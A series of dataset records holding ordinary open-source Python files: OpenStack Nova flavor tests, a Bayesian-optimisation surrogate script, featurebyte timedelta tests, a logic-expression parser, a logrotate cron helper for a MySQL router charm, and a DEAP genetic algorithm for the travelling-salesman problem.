fake_flavor, flavors[0])\n get_all.assert_called_once_with(self.context, inactive=False,\n filters=filters, sort_key='id',\n sort_dir='asc', limit=None,\n marker=None)\n\n\nclass TestFlavorList(test_objects._LocalTest, _TestFlavorList):\n pass\n\n\nclass TestFlavorListRemote(test_objects._RemoteTest, _TestFlavorList):\n pass\n", "repo_name": "projectcalico/calico-nova", "sub_path": "nova/tests/unit/objects/test_flavor.py", "file_name": "test_flavor.py", "file_ext": "py", "file_size_in_byte": 9629, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "7", "api": [{"api_name": "nova.db.items", "line_number": 33, "usage_type": "call"}, {"api_name": "nova.db", "line_number": 33, "usage_type": "name"}, {"api_name": "nova.db", "line_number": 34, "usage_type": "name"}, {"api_name": "mock.patch.object", "line_number": 37, "usage_type": "call"}, {"api_name": "nova.db", "line_number": 37, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 37, "usage_type": "attribute"}, {"api_name": "nova.objects.flavor.Flavor.get_by_id", "line_number": 39, "usage_type": "call"}, {"api_name": "nova.objects.flavor.Flavor", "line_number": 39, "usage_type": "attribute"}, {"api_name": "nova.objects.flavor", "line_number": 39, "usage_type": "name"}, {"api_name": "mock.patch.object", "line_number": 43, "usage_type": "call"}, {"api_name": "nova.db", "line_number": 43, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 43, "usage_type": "attribute"}, {"api_name": "nova.objects.flavor.Flavor.get_by_name", "line_number": 45, "usage_type": "call"}, {"api_name": "nova.objects.flavor.Flavor", "line_number": 45, "usage_type": "attribute"}, {"api_name": "nova.objects.flavor", "line_number": 45, "usage_type": "name"}, {"api_name": "mock.patch.object", "line_number": 49, "usage_type": "call"}, {"api_name": "nova.db", "line_number": 49, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 49, "usage_type": "attribute"}, {"api_name": "nova.objects.flavor.Flavor.get_by_flavor_id", "line_number": 51, "usage_type": "call"}, {"api_name": "nova.objects.flavor.Flavor", "line_number": 51, "usage_type": "attribute"}, {"api_name": "nova.objects.flavor", "line_number": 51, "usage_type": "name"}, {"api_name": "nova.objects.flavor.Flavor", "line_number": 57, "usage_type": "call"}, {"api_name": "nova.objects.flavor", "line_number": 57, "usage_type": "name"}, {"api_name": "mock.patch.object", "line_number": 58, "usage_type": "call"}, {"api_name": "nova.db", "line_number": 58, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 58, "usage_type": "attribute"}, {"api_name": "nova.objects.flavor.Flavor", "line_number": 63, "usage_type": "call"}, {"api_name": "nova.objects.flavor", "line_number": 63, "usage_type": "name"}, {"api_name": "nova.exception.ObjectActionError", "line_number": 64, "usage_type": "attribute"}, {"api_name": "nova.exception", "line_number": 64, "usage_type": "name"}, {"api_name": "nova.objects.flavor.Flavor", "line_number": 69, "usage_type": "call"}, {"api_name": "nova.objects.flavor", "line_number": 69, "usage_type": "name"}, {"api_name": "mock.patch.object", "line_number": 70, "usage_type": "call"}, {"api_name": "nova.db", "line_number": 70, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 70, "usage_type": "attribute"}, {"api_name": "nova.objects.flavor.Flavor", "line_number": 75, "usage_type": "call"}, {"api_name": "nova.objects.flavor", "line_number": 75, "usage_type": "name"}, {"api_name": "mock.patch.object", "line_number": 79, "usage_type": "call"}, {"api_name": "nova.db", "line_number": 79, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 79, "usage_type": "attribute"}, {"api_name": "nova.objects.flavor.Flavor", "line_number": 90, "usage_type": "call"}, {"api_name": "nova.objects.flavor", "line_number": 90, "usage_type": "name"}, {"api_name": "mock.patch.multiple", "line_number": 97, "usage_type": "call"}, {"api_name": "nova.db", "line_number": 97, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 97, "usage_type": "attribute"}, {"api_name": "mock.DEFAULT", "line_number": 97, "usage_type": "attribute"}, {"api_name": "mock.DEFAULT", "line_number": 98, "usage_type": "attribute"}, {"api_name": "nova.objects.flavor.Flavor", "line_number": 118, "usage_type": "call"}, {"api_name": "nova.objects.flavor", "line_number": 118, "usage_type": "name"}, {"api_name": "nova.exception.ObjectActionError", "line_number": 119, "usage_type": "attribute"}, {"api_name": "nova.exception", "line_number": 119, "usage_type": "name"}, {"api_name": "nova.objects.flavor.Flavor", "line_number": 130, "usage_type": "call"}, {"api_name": "nova.objects.flavor", "line_number": 130, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 122, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 123, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 124, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 125, "usage_type": "call"}, {"api_name": "nova.objects.flavor.Flavor", "line_number": 173, "usage_type": "call"}, {"api_name": "nova.objects.flavor", "line_number": 173, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 165, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 166, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 167, "usage_type": "call"}, {"api_name": "nova.objects.flavor.Flavor", "line_number": 184, "usage_type": "call"}, {"api_name": "nova.objects.flavor", "line_number": 184, "usage_type": "name"}, {"api_name": "nova.exception.ObjectActionError", "line_number": 185, "usage_type": "attribute"}, {"api_name": "nova.exception", "line_number": 185, "usage_type": "name"}, {"api_name": "nova.objects.flavor.Flavor", "line_number": 188, "usage_type": "call"}, {"api_name": "nova.objects.flavor", "line_number": 188, "usage_type": "name"}, {"api_name": "mock.patch.object", "line_number": 189, "usage_type": "call"}, {"api_name": "nova.db", "line_number": 189, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 189, "usage_type": "attribute"}, {"api_name": "nova.objects.flavor.Flavor", "line_number": 194, "usage_type": "call"}, {"api_name": "nova.objects.flavor", "line_number": 194, "usage_type": "name"}, {"api_name": "mock.patch.object", "line_number": 195, "usage_type": "call"}, {"api_name": "nova.db", "line_number": 195, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 195, "usage_type": "attribute"}, {"api_name": "nova.objects.flavor.Flavor", "line_number": 203, "usage_type": "call"}, {"api_name": "nova.objects.flavor", "line_number": 203, "usage_type": "name"}, {"api_name": "nova.exception.ObjectActionError", "line_number": 204, "usage_type": "attribute"}, {"api_name": "nova.exception", "line_number": 204, "usage_type": "name"}, {"api_name": "nova.tests.unit.objects.test_objects._LocalTest", "line_number": 208, "usage_type": "attribute"}, {"api_name": "nova.tests.unit.objects.test_objects", "line_number": 208, "usage_type": "name"}, {"api_name": "nova.tests.unit.objects.test_objects._RemoteTest", "line_number": 212, "usage_type": "attribute"}, {"api_name": "nova.tests.unit.objects.test_objects", "line_number": 212, "usage_type": "name"}, {"api_name": "mock.patch.object", "line_number": 218, "usage_type": "call"}, {"api_name": "nova.db", "line_number": 218, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 218, "usage_type": "attribute"}, {"api_name": "nova.objects.flavor.FlavorList.get_all", "line_number": 221, "usage_type": "call"}, {"api_name": "nova.objects.flavor.FlavorList", "line_number": 221, "usage_type": "attribute"}, {"api_name": "nova.objects.flavor", "line_number": 221, "usage_type": "name"}, {"api_name": "nova.tests.unit.objects.test_objects._LocalTest", "line_number": 234, "usage_type": "attribute"}, {"api_name": "nova.tests.unit.objects.test_objects", "line_number": 234, "usage_type": "name"}, {"api_name": "nova.tests.unit.objects.test_objects._RemoteTest", "line_number": 238, "usage_type": "attribute"}, {"api_name": "nova.tests.unit.objects.test_objects", "line_number": 238, "usage_type": "name"}]} {"seq_id": "3336508582", "text": "import numpy as np\nimport os\nimport sys\nimport torch\n\nfrom botorch.acquisition import PosteriorMean\nfrom botorch import fit_gpytorch_model\n\ntorch.set_default_dtype(torch.float64)\n\n\nscript_dir = os.path.dirname(os.path.realpath(sys.argv[0]))\nproject_path = script_dir[:-12]\nsys.path.append(project_path)\ndata_folder = project_path + \"/experiments/animation_data/\"\n\nfrom src.models.pairwise_kernel_variational_gp import PairwiseKernelVariationalGP\nfrom src.utils import optimize_acqf_and_get_suggested_query\n\ndatapoints = np.loadtxt(data_folder + \"datapoints.txt\")\ncomparisons = np.loadtxt(data_folder + \"responses.txt\")\ndatapoints[:, 1] = (datapoints[:, 1] + 2.0) / 4.0\ndatapoints[:, 2] = datapoints[:, 2] / 4.0\ndatapoints[:, 3] = (datapoints[:, 3] - 5.0) / 20.0\ndatapoints[:, 4] = datapoints[:, 4] - 1.0\nnp.savetxt(data_folder + \"datapoints_norm.txt\", datapoints)\nn_queries = comparisons.shape[0]\nqueries = []\nresponses = []\n\nfor i in range(n_queries):\n queries.append(datapoints[2 * i : 2 * (i + 1), :])\n responses.append(0 if comparisons[i, 0] < comparisons[i, 1] else 1)\n\nqueries = torch.tensor(queries)\nresponses = torch.tensor(responses)\ndatapoints = torch.tensor(datapoints)\ntest_random_points = torch.rand(size=datapoints.size())\n\nsave_surrogate = True\nif save_surrogate:\n model = PairwiseKernelVariationalGP(queries, responses)\n print(queries[:5, ...])\n print(responses[:5, ...])\n print(model(datapoints).mean[:10, ...])\n print(model(test_random_points).mean[:5, ...])\n\n torch.save(model.aux_model.state_dict(), \"animation_surrogate_state_dict2\")\n\nprint(model.aux_model.state_dict())\nprint(e)\naux_model = PairwiseKernelVariationalGP(queries, responses, fit_aux_model_flag=False)\nanimation_surrogate_state_dict = torch.load(\"animation_surrogate_state_dict2\")\naux_model.aux_model.load_state_dict(animation_surrogate_state_dict)\naux_model.aux_model(aux_model.aux_model.train_inputs[0])\naux_model.aux_model.eval()\nprint(aux_model(test_random_points).mean[:5, ...])\n\ninput_dim = 5\nstandard_bounds = torch.tensor([[0.0] * input_dim, [1.0] * input_dim])\nnum_restarts = 6 * input_dim\nraw_samples = 180 * input_dim\n\npost_mean_func = PosteriorMean(model=aux_model)\nmax_post_mean_func = optimize_acqf_and_get_suggested_query(\n acq_func=post_mean_func,\n bounds=standard_bounds,\n batch_size=1,\n num_restarts=num_restarts,\n raw_samples=raw_samples,\n)\nprint(max_post_mean_func)\nprint(post_mean_func(max_post_mean_func).item())\n", "repo_name": "RaulAstudillo06/qEUBO", "sub_path": "experiments/animation/deprecated/make_animation_surrogate2.py", "file_name": "make_animation_surrogate2.py", "file_ext": "py", "file_size_in_byte": 2459, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.set_default_dtype", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.float64", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 14, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.loadtxt", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 38, "usage_type": "call"}, {"api_name": "src.models.pairwise_kernel_variational_gp.PairwiseKernelVariationalGP", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 48, "usage_type": "call"}, {"api_name": "src.models.pairwise_kernel_variational_gp.PairwiseKernelVariationalGP", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 60, "usage_type": "call"}, {"api_name": "botorch.acquisition.PosteriorMean", "line_number": 64, "usage_type": "call"}, {"api_name": "src.utils.optimize_acqf_and_get_suggested_query", "line_number": 65, "usage_type": "call"}]} {"seq_id": "12031511251", "text": "\"\"\"\nUnit tests for featurebyte.core.timedelta\n\"\"\"\nimport pytest\n\nfrom featurebyte.core.timedelta import to_timedelta\nfrom featurebyte.enum import DBVarType\nfrom featurebyte.query_graph.enum import NodeType\nfrom tests.util.helper import get_node\n\n\n@pytest.mark.parametrize(\n \"unit\",\n [\n \"day\",\n \"hour\",\n \"minute\",\n \"second\",\n \"millisecond\",\n \"microsecond\",\n ],\n)\ndef test_to_timedelta(int_series, unit):\n \"\"\"Test to_timedelta() can construct a timedelta Series\"\"\"\n timedelta_series = to_timedelta(int_series, unit=unit)\n assert timedelta_series.dtype == DBVarType.TIMEDELTA\n series_dict = timedelta_series.dict()\n assert series_dict[\"node_name\"] == \"timedelta_1\"\n timedelta_node = get_node(series_dict[\"graph\"], \"timedelta_1\")\n assert timedelta_node == {\n \"name\": \"timedelta_1\",\n \"output_type\": \"series\",\n \"parameters\": {\"unit\": unit},\n \"type\": NodeType.TIMEDELTA,\n }\n\n\ndef test_to_timedelta__unsupported_unit(int_series):\n \"\"\"Test to_timedelta() with a non-supported time unit\"\"\"\n with pytest.raises(TypeError) as exc:\n _ = to_timedelta(int_series, unit=\"month\")\n assert 'the value of argument \"unit\" must be one of' in str(exc.value)\n\n\ndef test_to_timedelta__not_int(float_series):\n \"\"\"Test to_timedelta() rejects non-INT Series\"\"\"\n with pytest.raises(ValueError) as exc:\n _ = to_timedelta(float_series, unit=\"second\")\n assert str(exc.value) == \"to_timedelta only supports INT type series; got FLOAT\"\n", "repo_name": "featurebyte/featurebyte", "sub_path": "tests/unit/core/test_timedelta.py", "file_name": "test_timedelta.py", "file_ext": "py", "file_size_in_byte": 1537, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 49, "dataset": "github-code", "pt": "78", "api": [{"api_name": "featurebyte.core.timedelta.to_timedelta", "line_number": 25, "usage_type": "call"}, {"api_name": "featurebyte.enum.DBVarType.TIMEDELTA", "line_number": 26, "usage_type": "attribute"}, {"api_name": "featurebyte.enum.DBVarType", "line_number": 26, "usage_type": "name"}, {"api_name": "tests.util.helper.get_node", "line_number": 29, "usage_type": "call"}, {"api_name": "featurebyte.query_graph.enum.NodeType.TIMEDELTA", "line_number": 34, "usage_type": "attribute"}, {"api_name": "featurebyte.query_graph.enum.NodeType", "line_number": 34, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 12, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 40, "usage_type": "call"}, {"api_name": "featurebyte.core.timedelta.to_timedelta", "line_number": 41, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 47, "usage_type": "call"}, {"api_name": "featurebyte.core.timedelta.to_timedelta", "line_number": 48, "usage_type": "call"}]} {"seq_id": "27157736396", "text": "\"\"\"\n:Author: Theodor A. Dumitrescu\n:Date: 03/06/20\n:Version: 0.0.1\n\"\"\"\nfrom __future__ import print_function\n\nimport logging\n\nimport scanner as lex\n\nNULLTOKEN = -1\n\nLITERAL = 0\n\nNOT = 30\nAND = 31\nOR = 32\nIMP = 33\nEQ = 34\n\nLPAREN = 50\nRPAREN = 51\n\nATOM = 1000\nUNARY = 1001\nBINARY = 1002\n\nu_operators = (NOT,)\nb_operators = (AND, OR, IMP, EQ,)\n\nFIRST = (LITERAL, LPAREN, NOT, )\n\nrules = ([\n ('SPACES', r'\\s+'),\n\n (AND, r'and'),\n (OR, r'or'),\n (NOT, r'not'),\n (IMP, r'=>'),\n (EQ, r'<=>'),\n\n (LITERAL, r'[a-zA-Z][a-zA-Z0-9]*'),\n\n (LPAREN, r'\\('),\n (RPAREN, r'\\)'),\n\n (NULLTOKEN, r'null_token')\n])\n\n\ndef isUnitary(op):\n return op in u_operators\n\n\ndef isBinary(op):\n return op in b_operators\n\n\ndef isOperator(op):\n return isBinary(op) or isUnitary(op)\n\n\nclass TokenizerException(Exception):\n pass\n\n\nclass ParserException(Exception):\n def __init__(self, str):\n super(Exception, self).__init__('ParserException: ' + str)\n\n\nclass Exp(object):\n \"\"\"\n The pars tree of an expression.\n A node could be of two forms unitary or binary.\n If the operation is binary, the related information is stored in the left and right attributes.\n If the operation is unitary the related information is stored in the child attribute.\n \"\"\"\n __hash__ = None\n\n def __init__(self, str_exp=None, kind=None, scanner=None):\n \"\"\"\n Generate the tree from the tokenized expression.\n If the expression is specified then it will create an empty node.\n \"\"\"\n self.kind = None\n self.name = 'undef'\n self.attr = None\n self.child = None\n self.left = None\n self.right = None\n self.code = None\n\n if str_exp is not None:\n logging.debug('========== EXP in init(NODE): SEXP = [' + str_exp + ']')\n scanner = lex.Scanner(rules)\n scanner.setString(str_exp)\n\n if kind is not None: # create an empty node\n self.kind = kind\n return\n\n if scanner is None:\n raise Exception('Fatal Error: scanner not defined')\n\n while scanner.curToken().type in FIRST:\n\n if scanner.curToken().type == LITERAL:\n self.name = scanner.curToken().name\n self.code = LITERAL\n self.kind = ATOM\n scanner.move()\n\n elif scanner.curToken().type == LPAREN:\n scanner.move() # skip the parentheses\n\n tmp = Exp(scanner=scanner) # tree of the expression between parentheses\n self.kind = tmp.kind\n self.attr = tmp.attr\n self.name = tmp.name\n self.left = tmp.left\n self.right = tmp.right\n self.child = tmp.child\n\n if scanner.curToken().type != RPAREN:\n raise ParserException(\"')' expected\")\n scanner.move()\n\n elif isUnitary(scanner.curToken().type):\n self.kind = UNARY\n self.name = scanner.curToken().name\n self.code = scanner.curToken().type\n\n # if token_type == ATTRIB # this is for existence and foreach\n\n scanner.move()\n self.child = Exp(scanner=scanner)\n\n # the scanner has been moved to a successive token\n if scanner.curToken().type == NULLTOKEN:\n break\n\n # check for infix operators\n if isBinary(scanner.curToken().type):\n operator_name = scanner.curToken().name\n operator_type = scanner.curToken().type\n scanner.move()\n\n # move the current node to the left of the tree\n lnode = Exp(kind=self.kind)\n lnode.name = self.name\n lnode.attr = self.attr\n lnode.child = self.child\n lnode.left = self.left\n lnode.right = self.right\n lnode.code = self.code\n\n # this node became the handler aka the binary operator\n self.code = operator_type\n self.name = operator_name\n self.kind = BINARY\n self.left = lnode\n # lookup the second child of the operator\n self.right = Exp(scanner=scanner)\n\n def __str__(self):\n if self.code == LITERAL:\n return self.name\n elif self.kind == UNARY:\n return self.name + \" (\" + self.child.__str__() + \")\"\n elif self.kind == BINARY:\n le = self.left.__str__()\n re = self.right.__str__()\n\n return le + ' ' + self.name + ' ' + re\n\n\nif __name__ == \"__main__\":\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n\n # create console handler and set level to debug\n ch = logging.StreamHandler()\n ch.setLevel(logging.DEBUG)\n\n # create formatter\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\n # add formatter to ch\n ch.setFormatter(formatter)\n\n # add ch to logger\n logger.addHandler(ch)\n s = '(A <=> not B)'\n exp = Exp(str_exp=s)\n print(exp)\n\n'''\ns = lex.Scanner(rules)\ns.setString('A and B')\n\nwhile s.curToken().type != NULLTOKEN:\n print('TOKEN =', str(s.curToken()))\n s.getToken()\n'''\n", "repo_name": "thadumi/huxpy", "sub_path": "src/core/parser.py", "file_name": "parser.py", "file_ext": "py", "file_size_in_byte": 5314, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.debug", "line_number": 96, "usage_type": "call"}, {"api_name": "scanner.Scanner", "line_number": 97, "usage_type": "call"}, {"api_name": "scanner.setString", "line_number": 98, "usage_type": "call"}, {"api_name": "scanner.curToken", "line_number": 107, "usage_type": "call"}, {"api_name": "scanner.curToken", "line_number": 109, "usage_type": "call"}, {"api_name": "scanner.curToken", "line_number": 110, "usage_type": "call"}, {"api_name": "scanner.move", "line_number": 113, "usage_type": "call"}, {"api_name": "scanner.curToken", "line_number": 115, "usage_type": "call"}, {"api_name": "scanner.move", "line_number": 116, "usage_type": "call"}, {"api_name": "scanner.curToken", "line_number": 126, "usage_type": "call"}, {"api_name": "scanner.move", "line_number": 128, "usage_type": "call"}, {"api_name": "scanner.curToken", "line_number": 130, "usage_type": "call"}, {"api_name": "scanner.curToken", "line_number": 132, "usage_type": "call"}, {"api_name": "scanner.curToken", "line_number": 133, "usage_type": "call"}, {"api_name": "scanner.move", "line_number": 137, "usage_type": "call"}, {"api_name": "scanner.curToken", "line_number": 141, "usage_type": "call"}, {"api_name": "scanner.curToken", "line_number": 145, "usage_type": "call"}, {"api_name": "scanner.curToken", "line_number": 146, "usage_type": "call"}, {"api_name": "scanner.curToken", "line_number": 147, "usage_type": "call"}, {"api_name": "scanner.move", "line_number": 148, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 180, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 181, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 184, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 185, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 188, "usage_type": "call"}]} {"seq_id": "5843367999", "text": "import logging\n\nimport jinja2\n\nimport container\nimport logrotate\n\nlogger = logging.getLogger(__name__)\n\nCHARMED_MYSQL_COMMON_DIRECTORY = \"/var/snap/charmed-mysql/common\"\nSYSTEM_USER = \"snap_daemon\"\nROOT_USER = \"root\"\n\n\nclass LogRotate(logrotate.LogRotate):\n \"\"\"logrotate cron configuration\"\"\"\n\n def __init__(self, *, container_: container.Container):\n super().__init__(container_=container_)\n self._logrotate_config = self._container.path(\"/etc/logrotate.d/flush_mysqlrouter_logs\")\n self._cron_file = self._container.path(\"/etc/cron.d/flush_mysqlrouter_logs\")\n\n def enable(self) -> None:\n logger.debug(\"Creating logrotate config file\")\n\n template = jinja2.Template(self._container.path(\"templates/logrotate.j2\").read_text())\n\n log_file_path = self._container.path(\"/var/log/mysqlrouter/mysqlrouter.log\")\n rendered = template.render(\n log_file_path=str(log_file_path),\n system_user=SYSTEM_USER,\n )\n self._logrotate_config.write_text(rendered)\n\n logger.debug(\"Created logrotate config file\")\n logger.debug(\"Adding cron job for logrotate\")\n\n # cron needs the file to be owned by root\n self._cron_file.write_text(\n \"* * * * * snap_daemon logrotate -f -s /tmp/logrotate.status /etc/logrotate.d/flush_mysqlrouter_logs\\n\\n\",\n user=ROOT_USER,\n group=ROOT_USER,\n )\n\n logger.debug(\"Added cron job for logrotate\")\n\n def disable(self) -> None:\n logger.debug(\"Removing cron job for log rotation of mysqlrouter\")\n self._logrotate_config.unlink()\n self._cron_file.unlink()\n logger.debug(\"Removed cron job for log rotation of mysqlrouter\")\n", "repo_name": "canonical/mysql-router-operator", "sub_path": "src/machine_logrotate.py", "file_name": "machine_logrotate.py", "file_ext": "py", "file_size_in_byte": 1724, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "logrotate.LogRotate", "line_number": 15, "usage_type": "attribute"}, {"api_name": "container.Container", "line_number": 18, "usage_type": "attribute"}, {"api_name": "jinja2.Template", "line_number": 26, "usage_type": "call"}]} {"seq_id": "21487366687", "text": "from TravelingSalesmanProblem import TSP\nfrom deap import tools, base, algorithms, creator\nimport array, random\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom eaSimple_withElitism import eaSimpleWithElitism\n\nTSP_NAME = \"bayg29\"\ntsp = TSP(TSP_NAME)\n\n# Genetic Constants\nMAX_GENERATION = 250\nPOPULATION = 500\nP_CROSSOVER = 0.9\nP_MUTATION = 0.1\nHALL_OF_FAME_NUMBER = 50\n\n# Define the fitness strategy\ncreator.create(\"FitnessMin\", base.Fitness, weights=(-1.,))\n\n# Creating the chromosome\n\ncreator.create(\"Individual\", array.array, typecode=\"i\", fitness=creator.FitnessMin)\n\ntoolbox = base.Toolbox()\n\ntoolbox.register(\"randomOrder\", random.sample, range(len(tsp)), len(tsp))\ntoolbox.register(\"IndividualCreator\", tools.initIterate, creator.Individual, toolbox.randomOrder)\ntoolbox.register(\"populationCreator\", tools.initRepeat, list, toolbox.IndividualCreator)\n\n\ndef tspDistance(individual):\n return (tsp.getTotalDistance(individual),)\n\n\ntoolbox.register(\"evaluate\", tspDistance)\n\n# register three genetic operators : Select, mate, mutate\n\ntoolbox.register(\"select\", tools.selTournament, tournsize=2)\ntoolbox.register(\"mate\", tools.cxOrdered)\ntoolbox.register(\"mutate\", tools.mutShuffleIndexes, indpb=1. / len(tsp))\n\n\ndef main():\n population = toolbox.populationCreator(n=POPULATION)\n stats = tools.Statistics(lambda ind: ind.fitness.values)\n stats.register(\"MIN\", np.min)\n stats.register(\"MEAN\", np.mean)\n hof = tools.HallOfFame(HALL_OF_FAME_NUMBER)\n\n population, logbook = eaSimpleWithElitism(population=population,\n toolbox=toolbox,\n cxpb=P_CROSSOVER,\n mutpb=P_MUTATION,\n ngen=MAX_GENERATION,\n halloffame=hof,\n stats=stats,\n verbose=True)\n\n maxFitnessValues, meanFitnessValues = logbook.select(\"MIN\", \"MEAN\")\n sns.set_style(\"whitegrid\")\n plt.plot(maxFitnessValues, color='red')\n plt.plot(meanFitnessValues, color='green')\n plt.title(\"Traveling Salesman Problem\")\n plt.ylabel(\"Max/Mean Values\")\n plt.xlabel(\"Generations\")\n plt.legend([\"MIN\", \"MEAN\"])\n plt.show()\n\n print(f\"--Best ever individual: {hof.items[0]}\")\n print(f\"--Best ever fitness: {hof.items[0].fitness.values[0]}\")\n plot = tsp.plotData(hof.items[0])\n plot.show()\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "alirajabi87/TravelingSalesmanProblem", "sub_path": "TSP_main.py", "file_name": "TSP_main.py", "file_ext": "py", "file_size_in_byte": 2571, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "TravelingSalesmanProblem.TSP", "line_number": 10, "usage_type": "call"}, {"api_name": "deap.creator.create", "line_number": 20, "usage_type": "call"}, {"api_name": "deap.creator", "line_number": 20, "usage_type": "name"}, {"api_name": "deap.base.Fitness", "line_number": 20, "usage_type": "attribute"}, {"api_name": "deap.base", "line_number": 20, "usage_type": "name"}, {"api_name": "deap.creator.create", "line_number": 24, "usage_type": "call"}, {"api_name": "deap.creator", "line_number": 24, "usage_type": "name"}, {"api_name": "array.array", "line_number": 24, "usage_type": "attribute"}, {"api_name": "deap.creator.FitnessMin", "line_number": 24, "usage_type": "attribute"}, {"api_name": "deap.base.Toolbox", "line_number": 26, "usage_type": "call"}, {"api_name": "deap.base", "line_number": 26, "usage_type": "name"}, {"api_name": "random.sample", "line_number": 28, "usage_type": "attribute"}, {"api_name": "deap.tools.initIterate", "line_number": 29, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 29, "usage_type": "name"}, {"api_name": "deap.creator.Individual", "line_number": 29, "usage_type": "attribute"}, {"api_name": "deap.creator", "line_number": 29, "usage_type": "name"}, {"api_name": "deap.tools.initRepeat", "line_number": 30, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 30, "usage_type": "name"}, {"api_name": "deap.tools.selTournament", "line_number": 41, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 41, "usage_type": "name"}, {"api_name": "deap.tools.cxOrdered", "line_number": 42, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 42, "usage_type": "name"}, {"api_name": "deap.tools.mutShuffleIndexes", "line_number": 43, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 43, "usage_type": "name"}, {"api_name": "deap.tools.Statistics", "line_number": 48, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 48, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 49, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 50, "usage_type": "attribute"}, {"api_name": "deap.tools.HallOfFame", "line_number": 51, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 51, "usage_type": "name"}, {"api_name": "eaSimple_withElitism.eaSimpleWithElitism", "line_number": 53, "usage_type": "call"}, {"api_name": "seaborn.set_style", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}]} {"seq_id": "10783881239", "text": "from django.test import TestCase\nfrom decimal import Decimal\nfrom jimi.price import fields\n\n# All this is needed for temporary testing models\nfrom django.conf import settings\nfrom django.core.management import call_command\nfrom django.db.models import loading\n\nfrom models import TestModel\n\n\nclass CurrencyTest(TestCase):\n def test_default_currency(self):\n \"\"\"Testing if default currency and __eq__() work.\"\"\"\n self.currency1 = fields.Currency()\n self.currency2 = fields.Currency(fields.DEFAULT_CURRENCY)\n self.assertEqual(self.currency1, 